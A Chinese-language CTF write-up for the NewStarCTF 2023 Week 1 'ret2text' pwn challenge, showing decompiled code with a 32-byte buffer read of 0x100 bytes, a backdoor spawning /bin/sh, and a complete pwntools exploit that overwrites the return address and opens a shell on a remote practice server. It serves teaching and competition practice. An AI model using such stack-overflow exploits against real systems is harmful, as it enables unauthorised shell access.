NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
2601_966871405 分钟前
全新 云原生系统精讲与全流程落地实践,云原生 DevOpS 进阶实战营
运维·云原生·devops
桌面运维家6 分钟前
信创机房批量换国产终端,服务器IO通道配置实测体验
运维·服务器
IT小白杨12 分钟前
多账号运营为什么需要独立浏览器环境:原理、机制与自测方法
服务器·chrome·经验分享·安全架构·指纹浏览器
qq_3494479514 分钟前
Helm自定义chart,以及常用命令
运维
志栋智能15 分钟前
告警来袭?超自动化3分钟精准定界故障根因
运维·自动化
ai_coder_ai16 分钟前
pc浏览器网页如何实现自动化操作
运维·自动化
前端炒粉20 分钟前
fetch+readablestream(Streamable)流式输出
java·服务器·前端
sungtv21 分钟前
电力变电站项目安全生产动画怎么做更贴合现场
安全·安全生产动画
小义_26 分钟前
Linux 性能排查实战
linux·服务器·php
略略略咯咯39 分钟前
jenkins
运维·servlet·jenkins